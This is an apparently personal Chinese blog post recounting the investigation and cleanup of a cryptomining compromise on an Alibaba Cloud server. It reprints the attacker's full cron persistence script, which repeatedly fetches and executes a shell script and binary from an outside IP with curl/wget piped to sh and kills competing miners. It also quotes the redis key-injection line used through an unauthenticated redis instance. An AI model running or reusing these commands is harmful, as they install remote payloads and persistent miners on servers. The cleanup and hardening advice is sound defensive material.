服务器被攻击的发现和解决过程

这是之前2018年左右，买阿里云服务器之后，服务器被攻击，当时的记录信息，现在整理一下

出现的问题

服务器的用户进程一直处于100%的使用

通过ps -ef ,查看进程，并未发现异常（可能是自己没注意到），重启阿里云的服务器之后，正常了

通过在crontab -e ，定时任务里面查看到了异常，定时任务被写入了一段脚本命令

脚本里面请求的链接地址 http://149.56.106.215:8000/i.sh

脚本的内容如下：（现在接口已经失效了 ）

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
    wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
    curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

以下为标注的截图

以上我已经找到问题出现的大概原因。就是在定时任务里面写入了脚本，定时执行，
那么问题来了，如何写入以及如何解决呢？

解决思路和解决过程

解决思路：

我们需要删除定时任务里面的任务（此时定时任务可能有多出，需要删除干净）
删除脚本出现的文件、目录等，防止里面还存在可能执行的脚本或者任务

解决步骤：

1.先删除/tmp目录下的两个文件

2.删除 /var/spool/cron 目录下的root文件（这也是定时任务的一个路径，类似于 crontab -e）

思考：为什么会出现这样的脚本

改写 /root/.ssh/authorized_keys

借鉴一篇博客写的
这一篇提到的可能会改写
/root/.ssh/authorized_keys文件

都应该知道，这是控制远程连接，添加密钥key的文件，那么我们服务器不就被远程控制了嘛

通过redis日志实现的

原因：
在redis的持久化到硬盘的文件中，有一个appendonly.aof，里面有记录，记录了通过操作redis，设置了key为1

表示
set 1 “*/1 * * * * curl -L http://149.56.106.215:8000/i.sh | sh”
redis持久化的方式有两种：aof和rdb
aof的文件，就是将你对redis的所有操作记录下来
所以下一次重启redis，数据会恢复，就只将之前的所有操作执行一遍

这就解释了，为什么定时任务里面会被写入脚本，就是安装redis的时候，默认端口6379，而且没有设置密码登录，所以别人就可以通过操作 redis，如果开启aof的持久化方式，就会注入形如上图的脚本

至此：也就解释了原因。

但是需要注意的是：

我观看定时任务执行时的日志：
/var/log/cron

但是crontab 的日志里面依然存在生成的日志
也就是说，服务器，还有定时任务没有关闭完

重启了crond的服务之后，
之后发现在/etc/cron.d的目录下面，文件为root的，还是会定时的执行

可以查看文章 “getpwnam() failed” in /bin/sh only when called from cron

总结：

1：先查看cron 的日志 /var/log/cron
2：需要检查的定时任务的路劲有： crontab -e
3： 还有 /var/spool/cron 目录下的
4：以及 /etc/cron.d 目录下的
5：需要仔细看 脚本里面的内容，可能还存在其他的可疑信息
6：redis的使用一定要注意，开放端口和设置密码，防止被利用redis aof的持久化机制